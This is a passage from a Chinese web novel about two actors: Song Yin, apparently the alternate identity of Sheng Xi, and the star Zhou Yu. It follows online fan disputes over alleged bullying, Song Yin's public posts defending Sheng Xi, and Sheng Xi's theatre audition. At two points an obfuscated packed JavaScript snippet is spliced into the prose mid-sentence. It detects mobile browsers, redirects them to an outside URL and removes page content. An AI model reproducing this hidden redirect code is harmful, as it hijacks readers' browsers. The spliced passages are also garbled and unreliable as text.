【我服了，娱乐圈，你真的，你对不起我们这对小情侣（大哭）】 还有一个加长帖：【我服了，热搜上怎么还有给周宇洗地的啊？说宋寅是自己坐在那内向不愿意去参加，还拿节目组贴的后期出来说话的，啊？冷知识，那是后期加字，不是圣旨，把后期去掉谁看不出来，宋寅有好几次说话，看到周宇之后又咽回去了】 【是这样的……宋寅其实和剧组其他人都处得非常好，而且要说话这里是想给同组妹妹解释说她刚刚袖子缠住了，但是周宇来了他直接不说话了】 【好恶心啊，这是霸凌吧？】 【会说出试镜女演员是来勾引他的话，你觉得呢？】 【我感觉宋寅没有那么不体面，他一直想开口，纯粹是因为女配也在他旁边，他想让妹妹多点镜头，而且说点刀的，谁知道他那么关照她是不是因为想起盛蹊之前可能也这样呢？他真的每个镜头都不是为自己争取来的，但是白颖都给妹妹接了好几句话了，周全程就只顾着自己孔雀开屏（微笑）当皇族来了是吧】 【人家顶流上综艺也会提携新人啊，怎么周什么都冲在最前面】 【最讨厌这种眼里只有自己的人了，本职工作不好好演，到了综艺开始整流量霸凌了是吧（微笑）粉丝别在那扯观众爱看，知不知道主持人都隐晦提醒，一起来剧宣，其他主演也应该参与一下】 【真的，后来女配妹妹都来参加游戏了，宋寅全程坐着，而且猜人脸的时候，他一直在抬头看那些照片，但是没人问他有没有猜出是谁】 【线下观众忍不住开麦了，白颖是有问的，我们其实在台下也感觉到，宋寅互动太少了，但是节目组可能是怕舆论风波，额外剪掉了很多，再说一个节目组知道不剪掉肯定会挨骂的吧—— 宋寅在提到饰演细节的时候其实感谢了盛蹊的】 【啊啊啊啊！】 本来粉丝只是借着宋寅疑似被霸凌的镜头发泄自己对于周宇污蔑盛蹊，还有粉丝暗戳戳不让宋寅上桌的怨气的，看到这个片段被剪没了，真的是被激怒了： 【我靠，欺负我们盛宋没人（泪流满面）】 【凭什么剪掉？凭什么剪掉？凭什么剪掉？@一起来追剧节目组】 【太恶心了，因为周宇在不允许宋提起盛，因为周宇和宋有隐形冲突所以剪掉宋的镜头，因为周太爱表现宋一直很安静，所以试图给宋安i人人设淡化霸凌影响是吧？实际上你们明知道宋说这个是为了什么还是剪掉，不就是霸凌吗？周演得那么差还怪上盛了现在还捂嘴不让说？】 宋寅下戏回酒店路上看到热搜的时候稍稍一顿，李珂有点欲言又止，但看到宋寅还是点进去热搜看了，她忍不住说：“没事宋老师，热搜上都是被帮你说话的。” 宋寅知道自己的发挥会让综艺镜头呈现出来有什么效果，他也知道以周宇顶流的地位，有人黑他是很容易推波助澜的，但是看到这些帖子，他不知道为什么，心里还是浮现出很讽刺，事情不该是这样的感觉。 他垂眸，还是说：“我没有被霸凌。” 李珂当时看了，她当然知道当天录制不到霸凌的程度，可是：“可是在剧宣还有盛老师的事上，你们就是……”她意识到自己提到盛蹊，匆匆住嘴。 宋寅察觉到自己大概是想分辨，可是他被霸凌和本体被霸凌有哪里一样呢？就算他和本体是一个人，但是只要其他人不明真相，马甲没被霸凌就是没被霸凌。 大概他还是和之前一样，就算再怎么下定决心要保住演戏的机会，还是过不去心里那关吧。其实熟悉点镜头的演员，要在大众面前呈现出一种需要他们误解的状态，很容易。 对于现在沉浸在程兰抑郁戏感里的他来说，更是。 可是他想让周宇为他做过的事道歉，不是想用这种方式，用舆论夸大的方式，和周宇一样给他泼脏水，而是想用演技堂堂正正地打败他。可是周宇有吗？ 宋寅心里轻笑了一声，他也分不清自己是自嘲还是嘲讽，但是发觉情绪状态不对，他还是登上线。虽然他知道先入为主的偏见已经形成，发这些已经没什么用了： 【抱歉，最近在剧组中，因为演戏状态和个人情绪原因，所以参加综艺的时候有异常表现……和周老师并无关@周宇。 被剪辑掉的片段，是节目组和我沟通之后，我同意剪掉的，因为这些话她知道，她不希望被打扰，我也不希望放在综艺上继续引起对她本人不必要的关注。 非常感谢大家对于李若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141056|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白这个角色和对她的喜欢。】 他发出来的这些话，让人感觉像看到他又一次在大众面前鞠躬一样，一如既往地真诚、恳切，没有矫饰。 有人在底下发： 【这些话，你要和她说她才听得到呀！】配图是repo里说的宋寅当时在台上说的，而且博主还特地提到说，当时周宇脸色很不好，他们就猜到会剪掉了。 但是宋寅回： 【她知道。】 【呜呜呜呜呜我的盛宋！】 【纯恨，这是真纯恨啊（大哭）我嗑的第一对真人CP，居然就这样众人皆知举世瞩目的BE了，甚至连绝交都会回，她知道，呜呜呜呜】 【每天都感慨一次，盛是真的果决】 【是的，很明显感觉到这段感情里，宋不舍的多一点，盛完全是老死不相往来的状态】 【别给我们西西套绝情buff了，真不想往来会因为他还想混圈直接官宣退圈QAQ？她是真的为他考虑啊】 【咱就是说没有人懂吗，宋在节目上那么安静抑郁，也可能是因为他才刚经历盛退圈的事，他开心不起来，而且对周当然也没办法用寻常的态度】 【宋看到认人的照片里有盛一张嘴角的那个表情真的太让人心碎了，虽然节目组只是闪过一张作为错误答案，但他还是一眼就认出来了盯着看了好久好久】 【我信宋没被他们霸凌了QAQ因为他心里只有她，怎么会去管主演团队有没有带他】 宋寅发了那条博，周宇的团队找了过来，姗姗来迟感谢，而且表示他们艺人当时态度是无意的，如果下次还有合体剧宣机会会更注意的，而且还承诺要介绍资源。 他们这么说，就是承认当天周宇的态度其实是有点得意的，宋寅没有说话，他也就理所当然地彰显了自己作为顶流的权威，很难说他略过宋寅的动作，有几分是宋寅设计的镜头，还是周真情流露。 但是宋寅已经不想管了。 他再见到周宇，周宇神色有点不自然，但是看到有狗仔在，还是笑着过来拍他肩，他没想到会听到宋寅说：“这只是一个警告。” 周宇的笑僵了一下，他难以置信地看着宋寅，然后恼羞成怒：“你不怕我告诉粉丝吗？”他甚至想好了他要怎么在博文里内涵，他就说，他怎么可能做得那么明显！他看不上宋寅也不至于真的镜头下霸凌！ 但是宋寅只是安静地看着他。 忽然，他笑了一下。 宋寅：“她也演了，可是没能让你精湛的演技被拆穿。”如果不是台下周宇演得太好，那么多粉丝怎么会相信，他真的被自己骚扰了呢？ 宋寅：“周宇，你很红，我不想用我喜欢的演戏，再试一次做这样的事。但是如果你再侮辱她的人格……” 宋寅轻声：“我也可以不演戏。” 他一直觉得演戏对他来说比什么都重要。但是错了。也会有东西比演戏对她来说更重要。 而且宋寅只是想知道，有没有人能发现周宇拙劣的演技，他在控诉她性骚扰他的时候，那张虚伪面皮下的窃笑。 现在看来，原来他们是看得到的。 只是他们只会看到他们更愿意相信的“委屈”而已。 系统一直没出声。 宋寅回去问：【系统，你不会觉得我玷污了演戏这两个字吗？】他运用了他的演技，骗过了很多人，但是只是为了达成自己的目的。 系统沉默一会儿，然后说：【宿主，是周宇这样的存在玷污了演戏这个职业。】 它又说：【其实你可以直接说，你被周宇和剧组他们霸凌过……】但它止住声音，以它的计算速度和容量，很清楚就可以知道，盛蹊当时其实说过，隐晦提过，但是后来的粉丝都跑到她的采访里说她茶，说她矫情。 宋寅在点香，他声音很轻：“这就是我喜欢演戏的原因，你说过没人信的话，换一个角色，会有人相信。” 他轻轻笑了笑，看着香灰倒下来。 他说：“从今天起，宋寅就是我的角色了。”她要用宋寅的角色，把她想说却没能说的话，说完。 “我没有变成另一个人，”盛蹊轻声，“我只是可以作为一个会被其他人相信的人，光明正大地说，我就是要站在她这一边了。” 很奇怪。她爱自己是不可以的。但是变成另一个人，爱盛蹊，可以。 那个超话她刷到过。 既然他们真的觉得她和马甲有种宿命感般的羁绊，那不如就让他们相信吧，宋寅这个角色的灵魂，建立在他永远维护盛蹊上。 周宇：【我在这里声明，从来没有，将来也不会霸凌任何人，很抱歉我的表现欲给宋寅老师带来的困扰，真诚道歉（双手合十）】 徐可欣骂了声晦气。 往下翻。 宋寅：【我只想听到周老师对她的道歉。】 宋寅：【她注销了账号，她的粉丝没有】 周宇粉丝：【退圈咖哪来的粉丝？可别蹭了哈】 宋寅：【我就是她的粉丝。】 19. 第 19 章 程梦也没想到宋寅会忽然在社交平台发这样的话，匆匆忙忙找到宋寅，才发现他在准备下一场的重头戏，其实按宋寅在剧组的时长，他在这个剧组算是待得非常久了，但是能拍的戏份非常少。 大多数时候，他都是一个人坐在旁边准备自己的戏，要么就是进行一些训练，对于稍微咖位大点的演员来说，这当然是浪费。 可是宋寅现在没有什么机会，这才是程梦真正不解的原因，她看到宋寅表情的一瞬间，甚至下意识想问，你不是说不想被其他人知道你们的关系吗，可是你为什么…… 李珂好像知道她想问什么，在宋寅去上戏的时候小声：“我问过宋老师了，他说……”李珂顿了顿，声音更低：“他说，都已经这样了。” 程梦有点怔愣，她也没有想到，或者说是现在才意识到，宋寅之前不愿意承认，或者说在盛蹊被污蔑的时候保持沉默，无非是知道，演戏是盛蹊珍爱的事业，她还在这个圈子里，就不会希望她的绯闻代替她的作品被更多人知道。 但是现在，她已经走得那么坚决了。对宋寅来说，盛蹊退圈就像当初彻底地和他说绝交一样，对于他来说，无论事情变得如何都不会再更糟糕了。 或者换句话说，他之前一直沉默着，是因为他以为他还有机会，或许还能和她重归于好，但是这个圈子都被她抛弃了，那他再隐瞒有什么意义呢？ 宋寅和周宇的争端本来已经结束了——从表面上来说，周宇的粉丝一直在说以他们的体量，宋寅发了那个视频没去撕他已经很体面了，是看在春夜还没播完的份上照顾同事。更喜欢男二的剧粉当然是嗤之以鼻。 可是这对宋寅来说确实是幸运。他不会在刚入圈的时候就惹上周宇的粉丝。可是他在盛蹊离开之后依然要和他纠缠清楚，就说明宋寅没有想让这件事过去。 ……他根本就不在乎，他会不会激起周宇粉丝的恼羞成怒。 事实上来说，周宇团队确实被宋寅激怒了，他们没想到他这么不依不饶，连霸凌事件他们都当自己吃了个闷亏咬牙吞了，他现在居然还要求他们道歉。 热搜上很快吵起来，宋寅一天挂了三个热搜，周宇粉丝说都是他们和路人粉丝自发去扒出来的，分别是#宋寅舞蹈生##宋寅穷但是家里做生意##宋寅人设#。 看词条就知道他们想要攻击他什么。 但是程梦看广场上的视频，只需要一个演技片段，大批路人粉就自觉点赞，将这个视频顶到了广场第一条： 那是春夜里的一个场景。 身为男主的任玉和身为女主的云浅漪终于和秦家军对上，也在这个时候发现，一直为秦家军出谋划策，包括前段时间让他们损失惨重的，竟然就是他们一直以来的好友，据说回家养伤的李若白。 这段在原著里一直是女主男二决裂的名片段，但是因为周宇净身高和白颖差不多高，按照原著站位他站在白颖身后，即使有发冠和内增高，也显得周宇气势不足。 其实原著里面这段和气势根本是没关系的，这里也不是任玉的主场，但是不会理解人物的顶流男明星，能看出来的就只是，站在白颖身后，他好像都沦为陪衬了。所以没要求改剧本，准确说要改，没改成功的周宇周大明星，提出了这个片段的唯一一个要求。 他要站在白颖前面。和宋寅对峙。 所以这个片段拍出来，转过去看到周宇，似乎还不错，他的脸是万年能扛镜头的硬朗脸，殷玉莲重点抓的妆造，加上他手持的长槊，真有几分将军的锐气。 但是再转到宋寅，差距太大了——当时白颖拍的时候就想说——周宇演技本来就不行，这里还拍男二男主的特写镜头，他真的不怕被宋寅的眼神戏完虐吗，现在宋寅的粉丝把这段放上来了。 大军压阵，黑云密布，双方将领骑着马，隔着不远不近的距离对峙，宋寅让人入戏的第一个细节是，他的眼神很专注，因为后期处理的时候，中间是被P得非常远的，毕竟是两军对垒，不至于真像拍摄那样肩并肩。 所以宋寅视线给人的感觉，才是需要远远望过去的程度，而且他的眼神有“反应”，不是周宇那种一潭死水，装的我很冷漠，我很成熟的那种一成不变，而是有细微波澜的，他更像个活人。 殷玉莲在拍的时候曾经说宋寅这个演技放在古偶里是浪费了，但是观众都是有审美的，也不至于给出了情绪都看不出来，所以镜头转到宋寅这里，他们才忽然意识到： 嗷，原来一个眼神是可以给出这么多信息的，首先，李若白肯定是准备好了在这里看到任玉和云浅衾，任玉不重要，重要的是云浅衾，其次是…… 他也有点想笑吧。 镜头面前李若白的表情变化很细微，但是演员的厉害之处就是可以调动面部肌肉，用不大的变化，呈现出复杂的情绪，他甚至没有扬起嘴角，那眼睛里就透露出“你我终归形同陌路”的遗憾和释然。 他不是强求你与我必须同行的那种人，可就是因为他对云浅衾的感情如此之深，他也不理解为什么云浅衾会选择任玉，尽管他与任玉也算是好友，他此刻才会有这样的情绪。 热评说：“李若白感觉像是困在这部剧里唯一灵魂觉醒的人。” 【是的QAQ感觉他好无奈，好心酸，但是必须走到这一步，气死人的是李若白感觉都那么到位了，对面两个人和木头似的啊啊啊啊！气死我了，浪费男配的表情细节！！】 【白颖还好吧，这里就是刻板的震惊和难以理解，但是任玉……额，我不说单演警惕有点油了，他这连警惕和对情敌的嫉妒都没演出来啊，就纯木桩】 【你会演，你演得最好了，我们众筹让你去呗】 【谢邀，但是没空哈，我演得不行，有人演得很好啊，下次让男配做主角行不行？@春江花月夜，男主太辣眼睛了】 【很好，避雷了，我就说刚喜欢的演员怎么突然有这么多黑料，果然是号称内娱最宽容男明星不允许全员上桌，又在这出尔反尔哈】 【冷知识，男女主都能扛才能全员上桌，只有男配演技行那叫男配碾压，不叫上桌哈，笑死，原来根本连桌都没搭起来】 【不懂就问，宋寅盛蹊这两小演员是犯了天条吗？一个被污蔑性骚扰一个被霸凌和赶出主创，皇族演都不演了是吧】 【资本到底喜欢周宇什么（微笑）】 所以说演技如何是直观的，尤其是宋寅并不是那种曲高和寡，会把对人物理解束之高阁的那种清高型演员，他会把他理解的情绪准确地传达出来，所以观众是能get到的。 尤其是殷玉莲虽然对其他人是按古偶水准拍的，但是场景妆造，剧情线这些并没有降低水准，对于宋寅来说，这就是只要他正常发挥，他单拎出来就是一部很有水准的剧。 但是他的片段太少了。 所以有看到这个片段垂直入坑的粉丝去看，发现宋寅一共才出现了不到十集，立刻就去原著粉丝底下追问，还去问剧粉： 【是不是删减了？我记得我在剧外刷到的片段不止这些，剧里的我基本都刷到了啊】 【对，还有那个下线镜头，真的唯美，看哭我啊QAQ】 【没删减，是宋寅的片段基本上都被搬出来了，而且某站还有他和女主的单独cut，还有续写的，可以去追追看，蛮好嗑的】 路人粉：？？？ CP超： 【家人们谁懂啊，看到热搜上说宋寅的片段基本都剪出来了，又好笑又心酸，我们宋寅就是这么努力对待每一个角色，可是第一个角色依然只有不到十集（呜呜呜呜）】 【正常的，毕竟是新人，唉，我去重温西西的剧，发现她很多戏份也不多才是真虐QAQ明明喜欢这个行业那么多年，还那么努力钻研演技】 【我们小情侣真的惨惨的】 周宇团队气得上火，可是剧的路人效应已经形成了，这个时候下剪辑，下影视UP主的分析也不过是自讨苦吃罢了，他们只能号召粉丝把舆论注意力往男主女主剧情上引，试图营造一种全员上桌的假象。 同时宋寅的私信也有很多人骂他。 但是结果当然是无用了。 宋寅角色二次下线，也就是通过回忆揭晓李若白死之前交代了什么，彻底完成这个角色升华的时候，影视区关于李若白这个角色的解读和分析遍地生花。 虽然因为《春江花月夜》这部戏的成绩没有到屠站的地步，但是也增加了宋寅很多的知名度。 李珂关注着她们宋哥账号底下的评论，还因为她们宋哥发的那些话有点紧张，但是看到好几条来打卡，还发糖果照片的时候愣了一下。 郑灵姝也是看到一个同好在首页里发宋寅来时路的小作文，才忍不住多刷了点“糖果照片团建”的帖子看乐子，看着看着自己都想找个好吃的糖果去给宋寅发了。 因为据说他糊糊的时候还会请为数不多的几个粉丝吃糖果，再往下刷到一条才怔愣。 【我们小情侣真的没人懂，三年前盛蹊的第一个小火角色出圈，有粉丝线下和她打卡的时候，她分享当时的煎饼，说煎饼好香，今年宋寅跟着她的脚步进圈了，拿到一个满意的角色，说糖很甜。明明没有一个字是说你，但是每个字都关于你】 郑灵姝愣了一下，这才想起来，她好像也确实看到过有人因为直播嗑盛蹊和宋寅来着？可是在她心里，这两个人还是不熟，强行扯上关系的状态，再刷了几条，她忽然就有点get到了—— 她看到了另一个嗑学家产的。 【盛宋真的好be。等你退圈了，我才敢说，我是你的粉丝。不是因为我胆小。是因为我太知道了，我对你的爱，会让你误以为，我只是讨好你，而不是真的因为你，爱上了整个行业。】 我的天，郑灵姝第一眼看到的时候，瞬间就被戳到了！因为她太懂这种我喜欢你，你也知道我喜欢你，但是你会因为我的喜欢不自信的感觉了，因为她就是这样的人。 评论也精准地把她的感受说出来： 【没错的，如果你知道我爱你，就不会把我当成你的粉丝，而只会觉得我在为你说话QAQ但是只有我知道，我爱你，也喜欢你的演技，这两句话都是真的QAQ可是世界对你的薄待，和你的不自信，真的会让你觉得我不真诚】 【可是直到她都不在这个行业了他才说（大哭）盛宋真的在各个方面都好遗憾】 【怎么说，我感觉西西应该是知道的，就是因为知道，她才觉得他应该在这个行业里待下去，因为他还没有“失望”】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145139|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【我也倾向于，盛蹊真的会不知道吗？这么浓烈的感情，其实她是因为绝交了才不回应吧】 系统看了好久的可信度波动，看宋寅演完这场才忍不住和他说： 【宿主，你的可信度倾向多出好多和你本体有关的，而且……都是正向的】 其实它是想问，宿主是怎么做到的？明明之前宿主还想撇开和本体的关系，可是他决定不再遮掩后，其他人的可信度偏向就这么自然而然地转向他很“爱”盛蹊，而不是他之前在故意隐瞒等的负面情绪。 宋寅的戏服很薄，每次行动的时候要特别控制身形动作才能看起来如弱柳扶风，没有层层叠叠满是褶皱的感觉，现在下戏了，他依然是动作轻柔地把戏服收好。 剧组的服装师看到他帮忙叠好，忙道谢，还和宋寅说化妆间有泡芙，他要不要吃，宋寅道了谢，说不用。 他走出化妆间，因为宋寅开始正常排通告，剧组工作人员和他接触后也逐渐发现他其实是个很好的人，这些不需要特地去说，从会自己整理好戏服，会道谢这些细节就能感觉到。 不过大部分人还是受可信度偏向影响，感觉宋寅私底下很忧郁，很安静。李珂更是重度患者，她看到宋寅来，就放下手机。立刻就能看出她准备着要说什么的样子。 宋寅和她打了招呼，李珂措辞半天，说：“宋老师，盛老师，好像入职了宁城那边的剧院。”她观察着宋寅的情绪，然后听到他说：“没有，只是过了面试而已。” 李珂愣了一下，然后惊喜地瞪大眼睛：“宋哥，你怎么知道，难道你和盛老师……” 宋寅看向她，然后对她弯起嘴角：“没有，只是我恰好和她的老师有联系而已。” 直播结束那天，她收到，准确来说是宋寅收到陆老师的信息。 她有陆老师的联系方式，但可能是这么多年的没有联系，只是节假日的例常祝福，让陆老师觉得，宋寅当时说的，“您说，她会听”，在他这更有传达力度。 她和宋寅说：“你和她说一声，我在宁城剧院有个朋友，他们招演职人员，但也可能不招，自己去试，没过不用告诉我。” 宋寅看到的时候真的愣了一下，他说不出的情绪复杂，是盛蹊在觉得，原来老师没有放弃她，原来老师说的她路走错了，不是说她在演戏这一条路上没有天赋。 虽然如此，她还是维持人设，和陆老师说： 【好，我会请朋友帮忙转达。】 陆老师不知道理解了什么，过了一会儿，她说： 【盛蹊脑子里只有演戏。】 【这对她来说是好事。】 宋寅：【我知道。】 陆蕙兰说：【你比她更适合这个圈子。】这不是句假话，因为有包袱的人演不好戏，盛蹊最近几年的戏她看过几部，痕迹太重，最轻松的，居然是她和宋寅搭档的那个片段。 但是那个片段宋寅演得不好。他在那里面，好像只有一双流泪的眼睛。 李珂听完简略的前因后果：“所以是哥你给盛老师介绍……” “不是，”宋寅低着头，他明明很累很累了，声音也很轻很轻了，那双眼睛依然如一汪泉水一般，他好像在为她高兴，但又好像，永远清楚知道他们之间的距离，“是我从陆老师那知道了她的消息。” 她忽然又有点get到宋哥为什么一定要发那句话。 从前默然不语，但现在他要很努力，很努力地站到台前，发出声音，才能让她看清，听清，我在这里。 从前都是我在默默无闻中找你。目光看向你。现在换我，要在你的沉默中不断搜寻你不会被其他人分享的消息了。 程梦也来了，她是带剧组消息过来的，因为殷导她们和剧组一些工作人员说如果周宇要继续放黑料黑的话，她们那有些底料，是可以给宋寅澄清的。剧组不想掺和进这种麻烦事里，可绝对不希望唯一一个因为演技出圈的人，被找上麻烦。 但她听到这句，还是觉得很难过。 看到宋寅，她才低声：“有些粉丝上头，可能会跟着找到宁城剧院去……”她看到宋寅的眼神，又紧张：“不是，我不是那个意思，不是说你发的可能会打扰到她……” 她是想说宋寅可以去帮帮她，或者提醒粉丝，这样或许可以修复他们之间的关系，但是程梦越急嘴越乱，说不出来。 宋寅安抚：“没关系。” “虽然不知道她会怎么处理，但我想，她应该很擅长处理镜头之外的关系。”毕竟她在镜头前，也处理这么多年了，也只有在周宇那里栽过跟头。 他还说：“我们已经不在一条路上了。” 或许就和老师说的一样，包袱太重的盛蹊不适合这里，而不是盛蹊的宋寅，比所有的她都适合。 可是程梦还是很难过，她甚至都想说，你们只能这样了吗。 可是她从宋寅的话里得到了回答： 不是他们只能这样了，是从他绝口不提她的名字起，他们就已经是这样了。CP超话里说他们满是遗憾。可是这份遗憾不被他们知道之前，宋寅一直都是这样在独自消化的。 他一直都只能对其他人说，我们已经绝交了。 多遗憾，在世界知道我们的感情之前，我们已经结束了。 20. 第 20 章 盛蹊在宁城剧院表演完才见到的陆老师。她在台上的考核只满心沉浸在那个角色里，剧场虽然空旷，舞台没有放灯，座位上也空无一人，但她依然觉得酣畅淋漓。 对着台下鞠躬直起身的时间，才发现阴影里戴着鸭舌帽站着的一位女士，就是她的恩师陆老师。 盛蹊心漏跳了一拍，到了陆蕙兰面前还是没有忍住露出破绽来：她不是和宋寅说，没有通过就不用告诉她吗？可是今天是试戏考核，结果还没出，老师却过来了。 负责打分的负责人好像是老师的朋友，拿着计分表和笔，在侧头和陆蕙兰说刚刚群戏上场的那两个谁谁谁不错，但陆蕙兰只是对上盛蹊的视线。 试戏结束，剧院不会当场出结果，有的有编制的还有公示期，但是盛蹊属于合同工，没有编制的那种，也需要等通知，她请老师去吃饭。 上菜前，老师问：“你和那个宋寅……” 盛蹊的心再次漏跳一拍，抬起头。她的表演是陆老师教的，大三下学期表演系实习的时候，片场剧组也是跟着陆老师跑的，这个世界上如果有谁能真正让她害怕，她能看出宋寅和盛蹊的本质相同的话，只能是陆老师。 还好，即使没有切换马甲，盛蹊现在也能看到来自陆老师的可信度偏向，可信度显示，陆老师觉得宋寅是个“神秘”的人。 他和自己的过去可信可不信，应该属于半透明地带，毕竟是教表演的人，相信世界上没有什么是表演不出来的，所以比普通人更不容易相信“感情”的真实。 盛蹊突然想知道，她用宋寅攻击周宇“霸凌”的事，老师会看出来吗？ 陆蕙兰敲了敲桌面，许是她走神的时间有点久，但是坐在对面的陆蕙兰很快放缓声音：“是我有点着急了，打听你们年轻人的事，不过听我一句劝，你们不合适。” 她看得出来，他们太相似。盛蹊的性格，如果非要说，属于慧极必伤那种类型，对角色的理解很到位，很透彻，演技上也愿意下功夫，但就是容易想得太多。 表现在娱乐圈里，就是对理解角色有优势，可是在现在一举一动都会被捕捉的圈子，完全就是敏感容易受伤，这对演员来说是致命的。她的天赋可以帮助她吃透角色，也会帮她透支自己透支得太过了。 目前看来，宋寅比她要明智点，至少见到他几次，他是懂得封闭的。 知道学生现在不在圈内了，也可能刚应聘工作，陆蕙兰吃完便餐没有再加，而是放下筷子：“以后有什么打算。” 盛蹊：“如果能应聘上，就在剧院学习一段时间吧，如果不能……”陆蕙兰的眼神制止了她继续往下说，她的学生，她还是知道的，主角可能差点火候，一个配角？可能也就是学学剧院和镜头不同的表现手法和力度，不至于应聘不上。 盛蹊声音轻些：“找一找自己的不足，然后，如果有机会，我还是想回到镜头前。”没错，这才是她的野心。 盛蹊并不是更喜欢镜头前聚光灯前的世界，而是她比任何人都明白，她丢失的信心，就毁在镜头前，如果她还想塑造好其他角色，只能在镜头前再找回来。 陆蕙兰没有多说，只是告诉盛蹊一个消息：“宋寅报名了演技派，而且下周就录制了。”她看自己的学生。 盛蹊依然和之前一样，提到宋寅的话，她没有半分反应，好像宋寅说的一起长大，还有是她教的，就和陆蕙兰想的差不多，全都是宋寅信口开河一样。 但就是这样的反应，才说明他们之间不简单。 陆蕙兰：“盛蹊，你要考虑老师的话，宋寅并不适合你，他的路和你也完全不同……” “我们早就没有任何关系了。” 虽然师生关系在她毕业那年理论上就已经结束了，但是她毕业这么多年，老师一直对她有所关注，现在还愿意劝解她，盛蹊十分感激，而且老师一直是两头劝解。 她看得出来，老师是怕她一时想岔，官宣断了关系之后又在宋寅频频和她扯上话题的前提下，又和宋寅联系半推半拒回到圈里，这样不仅是利用舆论，也是对她自己说过的话不负责任。 她说过的，要潜心学习一段时间。虽然，“宋寅”并不会放弃他目前的机会。 “那就好，”陆蕙兰颔首，盛蹊很快知道陆老师为什么要这样反复说了，“我有一个朋友，下半年可能有部电影开拍，不是让你去饰演，是让你去组里，跟着学习，可以看导演是怎么拍的，演员是怎么演的，但一个要求，拍摄电影的期间，你不能入戏。” 盛蹊微微怔了怔。 陆蕙兰说完就走了，起身的时候她拍了拍盛蹊的肩膀，然后说：“多和剧院的演员打打交道吧，他们星光没那么盛，比你更懂怎么处理角色和演员本人的关系。” 盛蹊目送陆蕙兰离开，一直到接到剧院通知她面试过了的电话都没有回过神来，还是系统提醒她，她作为“宋寅”的假，已经结束了。 宋老师今天没有上戏，也没有跟组学习马术，所有人都知道原因。盛蹊面试的消息爆出来之前，盛宋CP超话还是个刚过申请创建人数的百人小超，这几天有宋寅发博的热搜和直播那个视频发酵，加上他们发现，盛蹊面试，宋老师也没有训练的心情之后，已经迎来了小爆发，到了几万人了。 这种规模的超话，平时签到可能就几百个人，然而今天一直都在刷：【呜呜谁懂啊，他真的什么都没做，和我们一样在这等着QAQ】 【谁知道线下什么情况？不会真有人去堵着吧？】 【没有没有，还好还好，zy粉丝这些天忙着骂宋寅，都没人关注西西的事了，西西面试应该挺顺利的，我这已经看到出来的返图了（滑稽）】 【突然觉得磕到蛮硬的一个点，宋寅前几天发博硬刚周宇，不会是因为盛蹊想回归线下，所以吸引火力吧】 但不管线上怎么讨论，李珂看了眼手机还是什么磕糖帖都看不进去，看到宋寅出来，终于放心了，捏着手机迎上去：“宋老师。” 宋寅看向她：“怎么了？” 宋寅在杨导剧组的戏份不多，理论上排哪天都可以，加上他一直跟组训练，杨树知道他要请假也只是问了一声不出清澳，就是他们拍戏的这个城市，就随他去了。 宋寅看李珂在这等着，还以为是剧组临时有安排需要他配合了，但是李珂张张嘴，还是小声说：“他们找到你原来读的高中去了。” 这件事还是她冲浪发现的消息，当时那个帖子删的很快，她刷了几下就发现没有了，找到热度最高的大粉，点进去发现是CP超也没听到风声，但她觉得还是应该和宋寅说一声。 这群疯子粉丝，肯定是看宋寅无论如何都要给盛蹊说话，去开盒了。而且宋寅的过去本来在短视频上就不是秘密，他火过一阵的时候，有人扒过他家里出过事的事，还有他在宁城高中读书时晚会表演的视频。 这些都是起初给予他那些可信度的粉丝形成的可信度事实，所以宋寅倒不担心，只是垂眸，点进去看了几眼。 李珂本来还在怕扩散，发现宋寅已经在看原帖了，震惊地张了张嘴：“哥，你怎么找到的？” 其实系统刚刚还说想帮忙，但是盛蹊被各种缩写谐音和代号骂过，很清楚搜大名搜不到，搜别的就是了。帖子倒是没什么过分的，无非是采访宋寅当初的老师，朋友，还有，问他们关于盛蹊的事。 宋寅的瞳孔在看到他们提到盛蹊的时候缩了缩，但是很快恢复正常，他声音很轻：“没什么好在乎的，只要他们知道是我，随时都能找人爆料。” 李珂也根据关键词找到了，但是她急急抬头：“哥，他们说你当时和盛老师早恋，还说盛老师诱骗未成年……” 可能是因为这些老师同学，都是因为有“宋寅，一个明星曾经在他们这就读过”这个可信度偏向，才产生的和宋寅有关的记忆，前半段没什么特别的，都是回忆宋寅高中的时候外形就很出色，人和温和，人缘很好，家庭背景也不错。 没错没错，学习成绩很好还是去学了舞蹈之类的。 后半段就有写报道的人夹带私货了，特意提到，“值得一提的是，网上流传很广的宋寅和盛姓女艺人心有灵犀的视频，拍摄时间是宋寅高二，那个时候他才十六岁。” 所以有营销号截出这段来造谣了。 系统让宋寅不用担心，因为李珂还在焦虑的时候，忽然有很多小号转发一个自称是宋寅同学，还晒出了合照的同学的帖子—— 系统说：【宿主完成的大略良好倾向可信度，会帮助宿主抵挡一些没有实据的恶意中伤。】 宋寅明白它的意思，大概是宋寅这个人底色在很多接触得多的人那里印象是好的，正向可信度偏向下，会有人不自觉地“帮他说话”。 这个同学就是，账号看得出来是新号，但是照片有年头了，上面是某一年高中毕业的留念，其他同学他特地打了码，然后他说： 【有些人别太颠了，宋寅读书的时候成绩就很好，就算后面去学跳舞了，几个主科在班上也是数一数二的……为了这件事班主任还劝了他好长时间，说他早恋就像说我们这些读书的都是因为没早恋才没读过他好吗？】 【说他有后台和潜规则的更是痴人说梦，我只能说宋寅人很好，他家里出了点事儿的时候，他也没有像某些人一样出来攻击别人报复社会，他喜欢舞蹈就去读了舞蹈系，喜欢表演就去演戏，怎么了？碍着谁了？】 